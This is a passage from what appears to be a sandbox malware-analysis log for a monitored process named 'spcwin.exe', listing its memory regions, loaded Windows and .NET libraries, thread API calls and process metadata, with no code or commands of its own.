"\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8702 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8703 start_va = 0x2d0000 end_va = 0x34cfff monitored = 0 entry_point = 0x2dcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8704 start_va = 0x370000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 8705 start_va = 0x2d0000 end_va = 0x34cfff monitored = 0 entry_point = 0x2dcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8713 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8714 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8715 start_va = 0x1ac80000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac80000" filename = "" Region: id = 8719 start_va = 0x1ac80000 end_va = 0x1ad5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ac80000" filename = "" Region: id = 8720 start_va = 0x1ae40000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae40000" filename = "" Region: id = 8791 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8792 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8830 start_va = 0x7fe94b00000 end_va = 0x7fe94b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b00000" filename = "" Region: id = 8840 start_va = 0x7fe94b80000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b80000" filename = "" Region: id = 8841 start_va = 0x7fe94b90000 end_va = 0x7fe94b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b90000" filename = "" Region: id = 8864 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8912 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8913 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8925 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8926 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8977 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8978 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8979 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8980 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9010 start_va = 0x1aec0000 end_va = 0x1afeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9025 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9061 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9062 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9063 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 9084 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9085 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9119 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9134 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9145 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9169 start_va = 0x2d0000 end_va = 0x331fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9216 start_va = 0x1ad90000 end_va = 0x1adcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 9217 start_va = 0x1b070000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b070000" filename = "" Region: id = 9218 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9219 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9270 start_va = 0x1b1b0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 9271 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9272 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9273 start_va = 0x580000 end_va = 0x5c4fff monitored = 0 entry_point = 0x581064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9274 start_va = 0x580000 end_va = 0x5c4fff monitored = 0 entry_point = 0x581064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9275 start_va = 0x580000 end_va = 0x5c4fff monitored = 0 entry_point = 0x581064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9276 start_va = 0x580000 end_va = 0x5c4fff monitored = 0 entry_point = 0x581064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9277 start_va = 0x580000 end_va = 0x5c4fff monitored = 0 entry_point = 0x581064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9364 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9365 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9366 start_va = 0x1b450000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b450000" filename = "" Region: id = 9367 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9407 start_va = 0x1b5c0000 end_va = 0x1b6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5c0000" filename = "" Region: id = 9408 start_va = 0x1b6d0000 end_va = 0x1b7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6d0000" filename = "" Region: id = 9409 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9410 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9451 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9508 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9526 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9534 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9556 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9571 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9656 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9657 start_va = 0x1b7d0000 end_va = 0x1baa1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9658 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9659 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9660 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 9661 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Thread: id = 371 os_tid = 0x554 [0262.790] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.120] EtwEventRegister (in: ProviderId=0x22d5870, EnableCallback=0x1af7135c, CallbackContext=0x0, RegHandle=0x22d5850 | out: RegHandle=0x22d5850) returned 0x0 [0277.169] EtwEventRegister (in: ProviderId=0x22d9ff8, EnableCallback=0x1af713ac, CallbackContext=0x0, RegHandle=0x22d9fd8 | out: RegHandle=0x22d9fd8) returned 0x0 [0278.781] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x183f10*=0xd8, lpdwindex=0x2ce144 | out: lpdwindex=0x2ce144) returned 0x0 [0280.011] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x183f10*=0xd8, lpdwindex=0x2ce144) Thread: id = 431 os_tid = 0x794 Thread: id = 433 os_tid = 0x774 [0262.905] CoGetContextToken (in: pToken=0x1a9afa00 | out: pToken=0x1a9afa00) returned 0x800401f0 [0262.905] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 439 os_tid = 0x41c Thread: id = 494 os_tid = 0x8c8 [0278.297] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.298] CoGetContextToken (in: pToken=0x1b16f5b0 | out: pToken=0x1b16f5b0) returned 0x0 [0278.298] CObjectContext::QueryInterface () returned 0x0 [0278.298] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.298] Release () returned 0x0 [0278.298] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.299] CoUninitialize () [0288.851] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b16d9d8 | out: phkResult=0x1b16d9d8*=0x0) returned 0x2 [0288.851] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.858] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\whatever_only.exe", nBufferLength=0x105, lpBuffer=0x1b16e510, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\whatever_only.exe", lpFilePart=0x0) returned 0x2d Thread: id = 495 os_tid = 0x8cc Thread: id = 507 os_tid = 0x900 Thread: id = 521 os_tid = 0x938 Thread: id = 522 os_tid = 0x93c Thread: id = 523 os_tid = 0x940 [0280.007] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0280.008] CoGetContextToken (in: pToken=0x1b7cf8b0 | out: pToken=0x1b7cf8b0) returned 0x0 [0280.008] CObjectContext::QueryInterface () returned 0x0 [0280.009] CObjectContext::GetCurrentThreadType () returned 0x0 [0280.009] Release () returned 0x0 [0280.009] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0280.009] CoUninitialize () Process: id = "81" image_name = "spcwin.exe" filename = "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\spcwin.exe" page_root = "0x2176f000" os_pid = "0x56c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7235 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7236 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7237 start_va = 0x130000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 7238 start_va = 0xfe0000 end_va = 0x10b5fff monitored = 1 entry_point = 0x10ad67e region_type = mapped_file name = "spcwin.exe" filename = "\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\spcwin.exe") Region: id = 7239 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7240 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7241 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7242 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7243 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7244 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 7245 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7246 start_va = 0x40000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7608 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7609 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7610 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7618 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7619 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7620 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7621 start_va = 0x230000 end_va = 0x296fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7622 start_va = 0x2a0000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 7623 start_va = 0x2a0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 7624 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 7778 start_va = 0x490000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 7885 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7886 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7887 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7888 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7889 start_va = 0x5f0000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 7890 start_va = 0x5f0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 7891 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 7892 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7893 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 8002 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 8003 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8004 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8005 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 8006 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 8007 start_va = 0x40000 end_va = 0x68fff monitored = 0 entry_point = 0x41010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8008 start_va = 0x90000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 8009 start_va = 0x720000 end_va = 0x8a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 8010 start_va = 0x40000 end_va = 0x68fff monitored = 0 entry_point = 0x41010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8011 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8012 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8013 start_va = 0x8b0000 end_va = 0xa30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 8014 start_va = 0x10c0000 end_va = 0x24bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010c0000" filename = "" Region: id = 8015 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8016 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 8017 start_va = 0x3a0000 end_va = 0x46ffff monitored = 1 entry_point = 0x46d67e region_type = mapped_file name = "spcwin.exe" filename = "\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\spcwin.exe") Region: id = 8214 start_va = 0x3a0000 end_va = 0x46ffff monitored = 1 entry_point = 0x46d67e region_type = mapped_file name = "spcwin.exe" filename = "\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\spcwin.exe") Region: id = 8215 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8240 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8259 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8418 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8467 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8468 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8507 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 8508 start_va = 0x60000 end_va = 0x6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 